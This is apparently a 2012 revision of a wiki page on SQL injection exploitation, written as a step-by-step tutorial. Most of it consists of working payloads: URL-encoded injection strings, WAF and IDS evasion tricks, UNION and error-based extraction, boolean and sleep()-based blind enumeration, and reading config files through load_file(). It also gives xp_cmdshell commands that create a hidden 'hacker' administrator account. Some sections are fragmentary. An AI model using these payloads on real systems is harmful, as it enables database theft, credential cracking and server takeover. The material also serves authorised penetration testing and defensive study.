Revision as of 14:04, 7 May 2012

SQL injection is a method of exploiting web applications performed over http or https to compromise the underlying database engine supporting dynamic content for the web application itself. Successful exploitation of an SQL injection vulnerability can result in the attacker gaining unfettered access to the database and can lead to further privilege escalation.

Typically, databases include things like (but not limited to):

• Authentication credentials
• Other identifying information about a user (like an IP address)
• Site configurations
• Site content and themes
• Communications between users within the site

We'll be updating this page relatively frequently, if it does not have the answer to your question, you can try us in IRC, or check back later. If you try us in IRC, we'll do our best to help you find the solution. Also, if you see missing things you'd like to contribute, don't hesitate to contact us.

It is a crime to use techniques or tools on this page against any system without written authorization unless the system in question belongs to you

Cause(s) of vulnerabilities

If you haven't already done so, now is a good time to orient yourself with SQL servers and queries with our SQL primer, otherwise you may get lost in this text easily.

SQL Injection occurs when input from a user is directly passed to a SQL query by an application. In the context of web applications, user input comes from HTTP input.

• Un-sanitized user input - The developer made no effort to stop an injection attack
• Improper type handling - An integer sanitized or otherwise treated as a string, or vice versa
• Lack of output filtering - Output from a query that had user input passed to it is used as input in later queries when rendering the page
• Cookies and other "hidden" forms of communication in the HTTP request header are also processed as user input and can be considered attack vectors as well.

Potential Target Environments

A variety of environments are vulnerable to SQL injection. Nearly all of the interpreted languages and compiled languages could be used to write a vulnerable application. Databasing engines such as MySQL, PostgreSQL, Microsoft SQL Server, or Oracle could be used in a vulnerable application. It is important to note the HTTP server's version information along with the programming language in use by any application during testing. This in conjunction with Operating System information will assist during privilege escalation with injection.

Navigating Unfamiliar Databases without the C API

Nearly every modern databasing engine has an information_schema database or schema. Important tables that are part of information_schema include schemata, routines, columns, and tables.

MySQL Database Mapping

When outside of the C SQL API, access the data structure via the information_schema database.

• Show Databases equivalent:

SELECT schema_name FROM information_schema.schemata;

• Show tables equivalent:

SELECT TABLE_NAME FROM information_schema.tables WHERE table_schema=[database_name]

• Show fields equivalent:

SELECT column_name FROM information_schema.columns WHERE TABLE_NAME=[TABLE_NAME] AND table_schema=[database_name]

If you know you've only got access to the currently selected database, you can save some time by using the database() function or @@database environment variables, e.g. where table_schema = database() or where table_schema = @@database.

PostgreSQL Mapping

PostgreSQL has the current_database() function in stead of the database() function.

• \dn equivalent:

SELECT schema_name FROM information_schema.schemata WHERE catalog_name=[DATABASE name]

• \dt equivalent:

SELECT TABLE_NAME FROM information_schema.tables table_type='BASE TABLE' AND table_schema=([schema_query]) AND catalog_name=[DATABASE name]

• \d [column_name] equivalent:

SELECT column_name FROM information_schema.columns WHERE TABLE_NAME=([table_query]) AND table_schema=([schema_query]) AND catalog_name=[database_name]

MS SQL Mapping

It's important to note MS SQL is a bit different when it comes to ordered single-cell selection.

• Listing Tables:

SELECT TABLE_NAME FROM information_schema.columns WHERE table_catalog=[database_name] GROUP BY TABLE_NAME ORDER BY TABLE_NAME ASC;

• Listing Columns:

SELECT column_name FROM information_schema.columns WHERE table_catalog=[database_name] AND TABLE_NAME=[table_query] GROUP BY column_name ORDER BY column_name ASC

Legacy Databases

The information_schema database entered the open source community in MySQL version 5 and at the end of PostgreSQL Version 7.3; old and current versions of SQL engines contain their schema information in their administration databases. You can find more information on this by combining techniques listed here with the manuals and documentation.

PROCEDURE ANALYSE might come in handy.

It is typical that legacy database versions require privileged access for flexible mapping.

Databasing engines compared and contrasted in light of SQL Injection

For compatibility purposes it is important to be mindful of what functions, environment variables, and tables are ubiquitous. When writing an automated attack tool, it is convenient to be able to use the same function in each SQL dialect, rather than choosing a function or variable per sql version.

• Additional similarities are added each update to the various database engines. Read the manuals for the affected engines to get an up-to-date view.
• Not all similarities or differences are documented here, only those relevant to SQL injection.
• Similarities and differences between database engines include table and column names, function names, environment variables, and statement syntax.

There are enough similarities that it is possible to have a degree of universal exploitation.

Information_Schema

All of the databasing engines that presently have an information_schema collection have the following in common:

• The information_schema.tables table has a table_name column.
• The information_schema.columns table has both table_name and column_name columns.
• All of them have information_schema.routines and information_schema.schemata tables.

Functions & Environment Variables

Similarities between the different engines

MS SQL, MySQL, and PostgreSQL share the following:

• ascii()
• substring()
• count()
• lower()
• upper()
• BETWEEN ... AND ... conditional operator

MySQL and Postgres share the following:

• current_database()
• version()
• current_user

MySQL and MSSQL share the following:

• database()
• @@version

Other syntax

All of the databases share the same comparison operators, basic SELECT, WHERE, GROUP, and ORDER syntax. PostgreSQL and MySQL now also share the same LIMIT syntax}}

LIMIT [COUNT] offset [ROW TO START at]

Microsoft SQL does not have a LIMIT clause. In stead, sub-queries with SELECT TOP and ORDER BY clauses are used as a workaround. This makes for a less readable query and a more frustrating attack.

SELECT top 1 $column FROM (SELECT top $OFFSET $column FROM $table [WHERE clause] [GROUP BY clause] ORDER BY $column DESC) sq [GROUP BY clause] ORDER BY $column ASC

Capabilities

Different SQL databasing engines have different capabilities. As a result, there are advantages and disadvantages passed to an attacker for each limitation or unique piece of functionality that a SQL server may have to offer.

• MSSQL Has the ability to execute server side commands natively via xp_cmdshell. This feature can be enabled or disabled (remotely), and other functions exist to read/write to the windows registry.
• MySQL has the ability to read and write to files using the LOAD DATA and SELECT ... INTO OUTFILE ... statements as well as the load_file() function.
• PostgreSQL is the only databasing engine which supports trigger functions or other user-defined functionality added to a table in most procedural scripting languages (Perl,Python,Ruby).

Modern day SQL Injection Obstacles and Countermeasures

Obstacles can occur on various layers of the OSI model. The software layer may filter your input during its processing. The network layer may be monitored by a NIDS or IPS and begin to drop traffic, add captcha verifications, or redirect you to a honeypot. The HTTP server may also be running a Web Application Firewall. A researcher or penetration tester may find overcoming these obstacles difficult, but usually not impossible given enough dedication.

Configuration & Environment Challenges

Due to certain vulnerabilities requiring the use of boolean enumeration or timing attacks, many HTTP requests may be needed in order to successfully determine database contents, making the process of arbitrarily accessing data quite time consuming and noisy. Different databasing engines have different configuration settings, but usually include some form of maximum number of connections, maximum query size, maximum results size, maximum number of connections per user or client, and other resource restrictive options. Simply distributing a time consuming attack may only hinder the attacker by exhausting resources.

Database permissions and role-based-access control integration for the application may also play a large role in the amount of data an attacker may gather, as SQL injection only exploits in the context of the active connection to the SQL server that the vulnerable query executes within (ie. the username and password that the application is using for the query being exploited). Programming languages have different configurations for runtime as well, such as memory limits and maximum execution time when configured to run in conjunction with a webserver. Older versions of database servers may not have an information_schema database and may require a privileged user (like the database server administrator) to access any schema information.

IDS, IPS, and Web Application Firewalls

Web application firewalls usually operate at the same layer as the HTTP server or web applications, and thus monitor the protocol and input layers. This is different than normal IDS, which are stand-alone pieces of software or hardware that inspect the network and the host layer. Most intrusion detection mechanisms built for web applications operate using signature-based detection. Therefore, as long as an attack does not match a signature, it will slip by most of them.

Common Web Application Firewall HTTPD Modules

• Mod_Security (Apache)
• Naxsi (Nginx)
• ISAPI Filters (Microsoft IIS)

Common signatures use regular expressions that will match (and block) many common or simple testing techniques.

Improper Sanitizing

Any time improper sanitizing takes place there is a potential for partial sanitizing, and may make the exploitation process highly difficult if not impossible.

Partial sanitizing

Partial sanitizing may affect any or more (unlisted here) of the following important syntax characters and result in them being encoded in some fashion, escaped, or removed entirely.

• The space character (or all whitespace)
• The single quote character: '
• The double quote character: "
• The tag characters: < and >
• The equals character: =
• The comma character: ,
• The parenthesis characters: ( and )

Deprecated Sanitizing

PHP's addslashes() function (now deprecated) relied on the unhex() function. The goal of addslashes() was to add an escape (\) behind any single quotes (') entered into a string. When multi-byte character sets (or collations) are in use, this can cause a vulnerability to occur. If a valid multi-byte character ends in 0x5c (the escape), it is possible to circumvent the escape completely by placing the first byte of that character before the single quote. When unhex() is called against the now escaped single-quote, it sees the two bytes as a single character, allowing the quote (0x27) to escape the string unscathed. An example prefix for a non-utf8 character set's multi-byte prefix that accepts 0x5c as an ending is 0xbf, so one could use %bf%27 in a url to bypass the use of addslashes().

Basic Remote Tests for SQL Injection Vulnerabilities

There are a number of factors to take into consideration when analyzing a SQL injection vulnerability. These factors will determine methodology for successful exploitation. SQL injection vulnerabilities are typically either standard injection vulnerabilities, error-based vulnerabilities, or blind vulnerabilities, blind being the most difficult of the three.

• Standard vulnerabilities - The page can be exploited by using the UNION SELECT or UNION ALL SELECT statements to simply display selected data on the page.
• Error-based vulnerabilities - Error based vulnerabilities occur when verbose errors from the SQL databasing engine are enabled and displayed on the page. Thus, attackers may use things such as illegal type conversions to throw errors containing data.
• Blind vulnerabilities - Blind SQL injection vulnerabilities are not only the most difficult to exploit, but also the most time consuming. Timing attacks and boolean enumeration are the only methods of successful exploitation of select statements.

Injection Points

An SQL injection vulnerability's type is determined by the location of the user input. $input is used as an example input variable in the queries below to illustrate their classifications.

• SELECT ... WHERE clause injection

$query = "select * from table where id=$input";

• SELECT ... LIMIT, OFFSET, ORDER BY, and GROUP BY clause injections

$query = "select * from table limit $input";
$query = "select * from table limit 1 offset $input";
$query = "select * from table order by $input";
$query = "select * from table group by $input";

• UPDATE ... SET clause injection

$query = "update table set var=$input";

• UPDATE ... WHERE clause injection

$query = "update table set var=value where column_name='$input'";

• INSERT ... VALUES clause injection

$query = "insert into table values(null,$input)";

Input Testing

Vulnerabilities always stem from user input. In web applications, user input may come from a variety of places: forms, cookies, GET parameters, and other request headers. In order to test for vulnerabilities remotely, researchers test the urls, forms, and cookies associated with the site or software of interest.}}

Your First Where Clause Injection

The most reliable of tests consist of boolean challenges that filter the results a query returns combined with arithmetic operators. Boolean challenges will return zero rows if conditions are not met, whereas they will return the same value if the conditions are met. This way researchers are able to determine vulnerability via a "true/false" test.

• In our first example (using $id) we have an unsanitized integer. The URI (uniform resource indicator) may look something like:

 /article_by_id.php?id=10

• A researcher could check that URI against:

 /article_by_id.php?id=10%20AND%201=1
 and
 /article_by_id.php?id=10%20AND%201=0

• When a page is vulnerable, the page on

 /article_by_id.php?id=10%20AND%201=1

will match the page on:

 /article_by_id.php?id=10

however the page at:

 /article_by_id.php?id=10%20AND%201=0

will have data (and likely the entire article) missing.

• In our second example, using $title, the same affect can be achieved on an unsanitized string with the following URI's:

 /article_by_title.php?id=SQL%27%20AND%20%271%27=%270
 /article_by_title.php?id=SQL%27%20AND%20%271%27=%271

The same methodology as the integer test applies, merely with added single quotes (%27).

Most of today's security systems will easily identify and block simple testing methods like those illustrated above.

Reconstructing injected Queries

You will only be able to reconstruct queries locally if you install the SQL database engines. Links are provided at the end of the page for those who'd like to follow along. Lets concrete this in your head. Using the above testing examples, we'll reconstruct the queries generated from our url tampering.

• Original Query:

$query = "select * from articles where id=$id";

• Generated Queries:

$query = "select * from articles where id=10 and 1=1";
$query = "select * from articles where id=10 and 1=0";

Or, alternatively, we can look at our $title example:

• Original query:

$query = "select * from articles where title='$title'";

• Generated queries:

$query = "select * from articles where title='SQL' and '1'='0'";
$query = "select * from articles where title='SQL' and '1'='1'";

• The values of $id and $title are being passed directly into the SQL query. Because 1 will always equal 1, the results are passed directly back. When the false test (1=0) is applied, no data is returned by the query because there is no row in the database where 1=0. 1 always equals 1.

Bypassing Modern SQL Injection Security Measures

Simply triggering an IPS or WAF and having your request blocked under only certain conditions does not confirm the vulnerability of the page.

To exploit or even test web applications in the modern world, we'll need to recognize it when countermeasures are in place and be able to defeat them. A WAF is probably in the way if you're experiencing:

• Having the connection to the server reset ONLY when testing the site for vulnerabilities
• 403 Forbidden responses ONLY when testing the site for vulnerabilities
• Being blocked by the remote firewall after a repeatable number of injection attempts

Many IDS and WAF systems can be easily evaded by either:

• Simply using SSL or HTTPS
• Using a de-syncronization attack like session-splicing when SSL is not an option.

Basic Signature Evasion

Signature evasion is very similar to evading partial sanitizing. In stead of modifying your characters, an IPS drops traffic if your characters appear in a particular sequence in order to match a pattern. By discovering that sequence, we can make adjustments to our queries to evade the IPS or WAF in the way of our testing. Many web application firewalls will recognize the "1=1" test simply due to its popularity. Other queries that are very similar may also be noticed. Lets suppose the signature is looking for something along the lines of [integer][equal sign][integer], or that a request with "AND 1=1" had its connection reset, but the page without the injection continues to load.

Whitespace placement

Take note of the whitespace around the = operator. If there is none, try adding a space. If there's a space on each side, try removing or adding one to see if there isn't a proper length delimiter on the signature. You may find lopsided, missing, or extra whitespace may bypass signature-based analysis engines.

 %20and%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%201=%20%20%20%201 (TRUE)
 %20and%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%201=%20%20%20%200 (FALSE)

Integer and string size delimiters

Because there is usually a size delimiter or a maximum size to the integer, we can exceed that size to stop ourselves from being detected. Ten digit random numbers, in stead of the single digit predictable numbers might do the trick.

 %20and%402837649781237849=402837649781237849 (TRUE)
 %20and%201789236419872364=128756128398671289 (FALSE)

Switching up the data types

If integers are giving you a hard time, the signature may be tuned too specifically to integers. Try mixing the comparisons up a bit, using strings or floating point values to de-rail the signature.

 %20and%205.8=5.8      (TRUE)
 %20and%200.2=0.3      (FALSE)

Arithmetic tests

In stead of comparing a value like "1=1", try comparing mathematical expressions. Mathematical expressions may be the key to bypassing your problem if you're still jammed up on a signature detection.

 %20and%201.2+3=4.2    (TRUE)
 %20and%200.2-1=0      (FALSE)

Capitalization

If you're still having problems during testing, this probably isn't your issue. Try changing the case of the letters making up your boolean operator (and to AnD and or to oR).

Extending conditional statements

Many IDS signatures will look for a boolean operator ("and" or "or") before a conditional statement if it is being appended to another conditional statement (e.g. after query reconstruction we have where id=1 and 1=1, there are two conditions there).

• Using IF for MySQL injection:

The syntax for the IF statement in MySQL is:

IF([condition],[VALUE TO RETURN IF TRUE],[ELSE RETURN VALUE])

 %20and%20if(10829361=10829361,1,0)  (TRUE)
 %20and%20if(98276232=72619126,1,0)  (FALSE)

You can use any combination of the above techniques in conjunction with one another as long as your queries still return true and false.

Defeating partial sanitizing

You'll likely hit a brick wall if you try to bypass the sanitizing by breaking the sanitizing method. Instead, focus on evading the sanitizing by crafting queries that do not require sanitized characters.

Quotes

MySQL and certain versions of Microsoft SQL allow for string literals to be passed in hexadecimal format.:

 select 'abc';
 ...is equivalent to...
 select 0x616263;.
 Additionally, PostgreSQL allows you to use two dollar signs as string delimiters
 select $$abc$$;

Therefore, 0x616263 can be used in place of 'abc'. This will come in handy while exploiting a WHERE clause and not being able to use quotes.}}

String concatenation can avoid the use of quotes the use of quotes in:

• MySQL:

 Using the char() function to construct the string 'abc':
 select char(97,98,99);
 ->Similar to the hex example, char(97,98,99) can be used interchangeably with the string 'abc'.

• PostgreSQL:

 Using the chr() function and double-pipe concatenation operator:
 select chr(97)||chr(98)||chr(99);
 ->Similar to the above example, chr(97)||chr(98)||chr(99) can be used interchangeably with the string 'abc'.

• Microsoft SQL Server:

 Using the char() function and plus operator:
 select char(97)+char(98)+char(99);
 ->Similar to the other examples, char(97)+char(98)+char(99) can be used interchangeably with the string 'abc'.

Whitespace Filtering

We can bypass filtering on the space character by using alternative whitespace characters to the space character (%20). Most SQL engines consider a line return (%0a in a *NIX environment, %0a%0d in a Windows environment), tab characters, or the + character as valid whitespace:

 and%0a1=1
 and%0a1=0
 and+1=1
 and+1=0

MySQL treats block comments as whitespace.

AND/*comment1*/1/*comment2*/=/*comment3*/1
AND/*comment1*/1/*comment2*/=/*comment3*/0

Bypassing XSS Filters During SQL Injection

If you've run into XSS filtering, chances are the standard comparison operators (=, <,>) are being filtered out. If this is the case, we need to use alternative comparison operators:

Testing with BETWEEN

The between operator is universal across all SQL platforms.

• The between comparison operator will return true or false based on whether or not the preceding value is between a ceiling and a floor in a range. For example, 50 is between 0 and 100, but 300 is not, which lets us safely avoid using the = operator in our query:

 and%2050%20between%200%20and%20100   (True)
 and%20300%20between%200%20and%20100  (False)

• This turns the query into something like:

 select * from articles where id=1 and 50 between 0 and 100
 select * from articles where id=1 and 300 between 0 and 100

The between operator can also be used on strings:

 and%20'c'%20between%20'a'%20and%20'm (True)
 and%20'z'%20between%20'a'%20and%20'm (False)

Testing with Regular Expression Operators (REGEXP, ~, and RLIKE)

• Different database engines have different operators for Regular Expressions:

MySQL uses the REGEXP operator.

PostgreSQL uses the ~ operator.

MS SQL uses the RLIKE operator.

Regular expressions are the most evasive method for remote SQL injection possible, as they lack many of the common syntax characters necessary for other forms of injection.

The following tests contruct strings using native string constructors to bypass any requirement for quotes. If you need more information regarding this, please see our entry on evading quotation and apostrophe sanitizing.

AND 0x2e REGEXP 0x2e

AND 0x6a REGEXP 0x7a

AND chr(97) ~ chr(97)

AND chr(98) ~ chr(99)

AND CHAR(97) RLIKE CHAR(97)

AND CHAR(104) RLIKE CHAR(64)

Intermediate SQL Injection

There are various methods for exploiting various databasing engines, including MySQL, PostgreSQL and Microsoft SQL server. Different engines may require different function names, environment variables, or syntax nuances for proper effectiveness.

We did not include expample testing for UPDATE or INSERT queries using subqueries. In those cases, it is best to escape the argument, use a comma delimiter, and testing using integers until the right number of columns is found. Then you can substitute column values for insert and delete using subqueries that return a single cell rather than a single byte, similar to single-byte exfiltration

Automation Theory

The most important thing when automating SQL injection is recognizing boundaries.

 
SELECT LENGTH(USER())
SELECT CHAR_LENGTH(USER())
SELECT len(USER())

 
SELECT COUNT(column_name) FROM information_schema.columns WHERE TABLE_NAME=[TABLE_NAME] AND table_schema=[DATABASE]
 

SELECT column_type FROM information_schema.columns WHERE TABLE_NAME=[TABLE_NAME] AND column_name=[column_name] AND table_schema=[DATABASE]

Sometimes you won't be able to select integer values when using error-based injection. There's more than one way to solve this.

 
    $stop_value  = "select id from table order by id desc limit 1 offset 0";
    $start_query = "select id from table order by id asc limit 1 offset 0";
 

 
    $loop_query = "select id from table order by id asc limit 1 offset $counter";
 

Here's a few variables to be aware of while writing automated exploit software.

Basic Injection : Union Select

• The UNION operator allows you to collect the output of two SELECT statments with UNION ALL SELECT or UNION SELECT so long as the results have the

same number of columns:

SELECT COLUMN FROM TABLE UNION ALL SELECT COLUMN

Determining the number of Columns

The number of columns can be determined using ORDER BY injection and incrementing a field index, for example:

 /article.php?id=1 ORDER BY 1 asc
 /article.php?id=1 ORDER BY 2 asc

Extracting Data

If we know the number of columns in a table (for example, by using the ORDER BY injection technique), we can use the following injection assuming that there are 2 columns:

 /article.php?id=5 UNION ALL SELECT 1,2/*

SELECT * FROM ARTICLES WHERE id=5 UNION ALL SELECT 1,2/*

 /article.php?id=-1 UNION ALL SELECT 1,version()/*

 /article.php?id=-1 UNION ALL SELECT 1,table_name from information_schema.tables where table_schema=database() limit 1/*

 /article.php?id=-1 UNION ALL SELECT 1,group_concat(table_name,0x2e,column_name) from information_schema.columns where table_schema=database()/*

 table1.column1, table1.column2, table2.column1

Intermediate Testing: "SELECT" ... LIMIT clause injections

 /view_results.php?start=30&perpage=10

A LIMIT clause may have two different inputs, one being the number of rows to return, the other being what row to start from when selecting the rows. On recent versions of MySQL the limit clause syntax is congruent to PostgreSQL syntax: LIMIT $perpage OFFSET $start

On older versions of MySQL, the offset operator was not supported. In those cases we'll be using the older syntax: LIMIT $start,$perpage

• Because the input is located at either $start or $perpage in a LIMIT clause, we can deduce that:

 UNION SELECT is the only available method for successful exploitation.
 We will have to comment out the rest of the query for successful exploitation

• In order to access UNION SELECT if there are data limitations:

 The LIMIT clause must be given an impossible starting offset so that no data will be displayed,
 making room for data returned by the UNION SELECT.  The offset will have to be a larger number
 than the number of rows returned by the query.

Intermediate Injection: Information retrieval via verbose errors

When a web application displays its SQL errors, there's a few things we can do to make errors display data along with them. In each of the examples below, the @@database variable or current_database()/database() functions return what we see for error output. These can be replaced with any subquery'd select statement that returns a single cell.

 
 AND 1=CONVERT(INT,@@DATABASE)--

 

 AND 1=2 OR ROW(1,1) > (SELECT COUNT(*),concat(DATABASE(),0x3a,FLOOR(rand()*2) ) x FROM (SELECT 1 UNION SELECT 2) a GROUP BY x LIMIT 0,1)

 AND 3=5 OR (SELECT CAST(current_database() AS NUMERIC)) = (SELECT CURRENT_USER())

Advanced: Manual Boolean Enumeration

Boolean enumeration is the process of using conditional statements (true and false, just like our testing methodology) to determine the value of a byte.

 BETWEEN ... AND ...    |   Operator
 = < >                  |   Operators
 substring()            |   Function
 ascii()                |   Function

Using Ascii codes and the ascii() function for enumeration

The ascii() function on any given database engine will return the ascii code for the the character passed to it. If it is passed an entire string, it will return the ascii code for the first character. For example:

 SELECT ascii('a');
  +------------+
  | ascii('a') |
  +------------+
  |         97 |
  +------------+
  1 ROW IN SET (0.00 sec)

substring()

Using substring() to select a single byte:

• The substring() syntax is:

SUBSTRING([STRING],[POSITION],[LEN])

• To select the first character of a string, for example:

 SELECT SUBSTRING('abc',1,1);
  +----------------------+
  | SUBSTRING('abc',1,1) |
  +----------------------+
  | a                    |
  +----------------------+
  1 ROW IN SET (0.00 sec)
 

• To select the second character:

 SELECT SUBSTRING('abc',2,1);
  +----------------------+
  | SUBSTRING('abc',2,1) |
  +----------------------+
  | b                    |
  +----------------------+
  1 ROW IN SET (0.01 sec)
 

Version Fingerprinting with ascii-based enumeration

 While boolean enumeration can be used to obtain any type of data, we're using version fingerprinting as our example.

In theory

For our examples we're using the version() function.

• The ascii code of the first character of the version string can be accessed by calling:

 ascii(substring(lower(version()),1,1))

• On PostgreSQL, the first character of version() is 'P'. Since we're converting it to lowercase, the ascii value of 'p' is 112.

  postgres=# SELECT ascii(SUBSTRING(LOWER(version()),1,1));
   ascii 
  -------
     112
  (1 ROW)

• On MySQL, the first character of version() is numeric. On our local example, the first character is '5'.

 mysql> SELECT ascii(SUBSTRING(LOWER(version()),1,1));
  +----------------------------------------+
  | ascii(SUBSTRING(LOWER(version()),1,1)) |
  +----------------------------------------+
  |                                     53 |
  +----------------------------------------+
  1 ROW IN SET (0.00 sec)

In Practice

These queries work on MS SQL as well, an MS SQL server was not available during the writing of this article for demonstration. The same syntax, except using the @@version environment variable applies.

 /vulnerable.ext?id=1 and ascii(substring(lower(version()),1,1)) between 0 and 127
 /vulnerable.ext?id=1 and ascii(substring(lower(version()),1,1)) between 128 and 255

SELECT * FROM sample WHERE id=1 AND ascii(SUBSTRING(LOWER(version()),1,1)) BETWEEN 53 AND 53;
  +----+---------------------+
  | id | sample_text         |
  +----+---------------------+
  |  1 | this IS sample text |
  +----+---------------------+
  1 ROW IN SET (0.01 sec)

     ascii(SUBSTRING(LOWER(version()),1,1))

     ascii(SUBSTRING(LOWER(version()),2,1))

Using Regular Expressions for Boolean enumeration

Regular expressions is by far the best solution to filtering and sanitizing.

Getting started with regular expressions

Regexp allows you to compare a single byte from a string with a list, similar to between ... and ... injection.

 ^   The beginning of a string
 $   End of a string
 .   Any character
 *   0 or more of the preceeding character
 +   1 or more of the preceeding character
 ?   0 or 1 of the preceeding character

  Pattern | Description
  [a-z]   | Matches only letters a through z
  [0-9]   | Matches only numbers
 [aeiouy] | Matches vowels.
 ^a[0-9]  | Matches if the first character of the string is `a', only if the second character of the string is a number.

Version fingerprinting using compatible regular expressions

 MS SQL and MySQL now both have the RLIKE regular expression operator.

  AND version() RLIKE '^[0-4]'        -- This will match if the first character of the version is between 0 and 4
  AND version() RLIKE '^[5-9]'        -- This will match if the first character of the version is between 5 and 9

  AND LOWER(version()) ~ '^[a-z]'   -- Should ALWAYS return true
  AND UPPER(version()) ~ '^[a-z]'   -- Should NEVER return true

• Adjust the ranges to hone in on the value of the byte.

Expert: Timing attacks for automated boolean enumeration

Timing attacks generally fall under two categories:

MySQL Boolean Timing Attacks

Mysql's primary functions that can time delay are sleep() and benchmark(). Benchmark() is actually a benchmark utility and executes a given query a number of times based on a BIGINT argument, whereas sleep() is a single query.

benchmark() and related issues

Benchmark() may betray your activities

Evasive sleep() based boolean enumeration with regular expressions

Some information about our environment:

 
  mysql> SELECT version();
  +-----------------+
  | version()       |
  +-----------------+
  | 5.1.58-log      |
  +-----------------+
  1 ROW IN SET (0.00 sec)

 
  mysql> SELECT * FROM sample WHERE id=1;
  +----+---------------------+
  | id | sample_text         |
  +----+---------------------+
  |  1 | this IS sample text |
  +----+---------------------+
  1 ROW IN SET (0.00 sec)

}}

Testing for the ability to sleep():

It is very simple to test for access to the sleep() function:

 %20and%20sleep(15)

  mysql> SELECT * FROM sample WHERE id=1 AND sleep(15);

 Empty set (15.00 sec)

  mysql> SELECT * FROM sample WHERE id=1 AND sleep(CAST((SELECT 'a' REGEXP '^[n-z]') AS signed) * 15);

 Empty set (0.00 sec)

  mysql> SELECT * FROM sample WHERE id=1 AND sleep(CAST((SELECT 'x' REGEXP '^[n-z]') AS signed) * 15);

 Empty set (15.00 sec)

Using sleep() to map a table name with regular expressions

  mysql> SELECT TABLE_NAME FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1 offset 0;
  +------------+
  | TABLE_NAME |
  +------------+
  | sample     |
  +------------+
  1 ROW IN SET (0.00 sec)

  mysql> SELECT * FROM sample WHERE id=1 AND sleep((SELECT CAST(
           (SELECT (SELECT TABLE_NAME FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1 offset 0) REGEXP '^[a-m]')
         AS signed) * 15));

  mysql> SELECT * FROM sample WHERE id=1 AND sleep((SELECT CAST(
           (SELECT (SELECT TABLE_NAME FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1 offset 0) REGEXP '^[n-z]')
         AS signed) * 15));

PostgreSQL Boolean Timing Attacks

 pg_sleep() is the basis of both single-byte exfiltration and boolean enumeration.

Testing for access to pg_sleep()

You can test for access to pg_sleep() with:

   AND pg_sleep(15) IS NULL

Using pg_sleep() with alternative comparisons for evasive boolean enumeration

You can use BETWEEN ... AND ... as well as the regular expression operators here.

   AND (CASE WHEN 1 BETWEEN 1 AND 1 THEN pg_sleep(15) ELSE 9 END) IS NULL

   AND (CASE WHEN ascii(SUBSTRING(version(),1,1)) BETWEEN 1 AND 255 THEN pg_sleep(5) ELSE 98923 END) IS NULL

   AND (CASE WHEN ascii(SUBSTRING(version(),1,1)) BETWEEN 1 AND 1 THEN pg_sleep(5) ELSE 23265 END) IS NULL

Notice that like MySQL regular expression attacks, this attack also bypasses the need for several syntax characters.

  (SELECT chr(94)||chr(91)||chr(97)||chr(45)||chr(122)||chr(93))

   AND (CASE WHEN LOWER(version()) ~ (SELECT chr(94)||chr(91)||chr(97)||chr(45)||chr(122)||chr(93)) THEN pg_sleep(15) ELSE NULL END) IS NULL

   AND (CASE WHEN version() ~ (SELECT chr(94)||chr(91)||chr(97)||chr(45)||chr(122)||chr(93)) THEN pg_sleep(15) ELSE NULL END) IS NULL

Expert: Automated Single-byte exfiltration

There are multiple types of single byte exfiltration attacks:

• Timing based
• Pre-computation based

The only three things that all of these methods have in common is:

• These attacks are all limited in some fashion because of local environment and latency or remote environment and dataset.
• The target environment must not filter or otherwise restrict the use of commas (,); regular expressions will not work here because injected queries are selecting rather than comparing the value of a single byte.
• You must not be afraid of programming.

Timing-based Single-byte Exfiltration

If you're not on a LAN when you utilize this technique, you will get buggy and unpredictable results.

This testing is ideal when:

Examples of timing-based single-byte exfiltration:

 
  AND sleep(ascii(SUBSTRING(@@DATABASE,1,1)))                  -- MySQL
  AND pg_sleep(ascii(SUBSTRING(current_database,1,1))) IS NULL -- PostgreSQL
 

 By timing these (in seconds) we will have the integer value of the ascii code of the first character of the database.

The Comparative Precomputation Attack

This attack relies heavily on the remote dataset for successful exploitation and is thus less reliable than other methods. This significantly differs from previously discovered single-byte exfiltration techniques because:

  $query = "select * from articles where id=$input"; 

 /articles.php?id=1

 /articles.php?id=255 Follow the next steps for automation (and sanity's) sake:

 /articles.php?id=ascii(substr(user(),1,1))

  $ascii_code = $checksums[$output_checksum]; 

Further Penetration

Most demonstrated methods require additional privileges

Obtaining direct database access

  SELECT load_file('/path/to/config.php');

find -name \*conf\*.php -exec grep -iHn "user\|name\|pass\|host" '{}' \;

Obtaining filesystem access

This will require MySQL, depend on the SQL server configuration as well as the OS configuration, the user in context must have the FILE privilege.

 Mysql's load_file() function takes a single string literal (it can be bypassed with 0x[hex]) as a filename and 
 returns either the file contents as a single-cell string or null if the query failed for any reason.

 into outfile is limited in that it cannot receive a string literal, but must be a constant.

Examples of these are located in our priveleged MySQL cheat sheet.

Obtaining Code Execution

• Through the vulnerable web application:

It is possible that the administrative interface will contain template and theme editors and the ability to add/modify/delete PHP or other interpreted languages in the associated files. Knowing this is just one more reason to make a beeline for the user table for the affected web application and get to cracking the authentication credentials for the admin user.

• Via database engine (MS SQL-specific)

By ending the query with a semicolon or comment delimiter and beginning a new query, we can get MS SQL to run

;exec master..xp_cmdshell 'net user hacker hacker_password /add'
;exec master..xp_cmdshell 'net localgroup administrators hacker /add'
/url.asp?ArticleID=1;exec master..xp_cmdshell 'net user hacker hackerpassword /add';--
/url.asp?ArticleID=1;exec master..xp_cmdshell 'net localgroup administrators hacker /add';--

• Writing a shell to the document root (MySQL-specific)

Cheat Sheets

Vulnerability Testing

Universal True and False Statements

• Standard operators (Universal):

AND 230984752 = 230984752

AND 1023947182234 = 4382616621386497

• The Between ... And ... operators (Universal):

AND 238829 BETWEEN 238826 AND 238927

AND 328961 BETWEEN 928172 AND 986731

• The LIKE operator (Universal):

AND 'sqltest' LIKE 'sql%'

AND 'sqltest' LIKE 'not true'

• The REGEXP operator (RLIKE in Microsoft SQL and the "~" character in PostgreSQL, Universal):

AND 'sqltest' REGEXP '^sql'

AND 'sqltest' REGEXP '^false'

MySQL Syntax Reference

• Comment notation:

 /*   [*/]
 %23 (# urlencoded) 
 --[space]

• Handy functions, statements, and Environment Variables:

  version()
  USER()
  current_database()
  COUNT([column_name]) FROM [TABLE_NAME]
  LENGTH([column_name]) FROM [TABLE_NAME] [WHERE OR LIMIT]
  substr([query],[byte_counter],1) 
  concat([column_name],0x2f,[column_name]) FROM [TABLE_NAME] [WHERE OR LIMIT]
  group_concat([column_name],0x2f,[column_name]) FROM [TABLE_NAME] [WHERE OR LIMIT]

• You can evade the need for quotes by using the 0x[hex] operator. An example is "select 0x6a6a". The output is "jj", same as if you were to have run "select 'jj'".

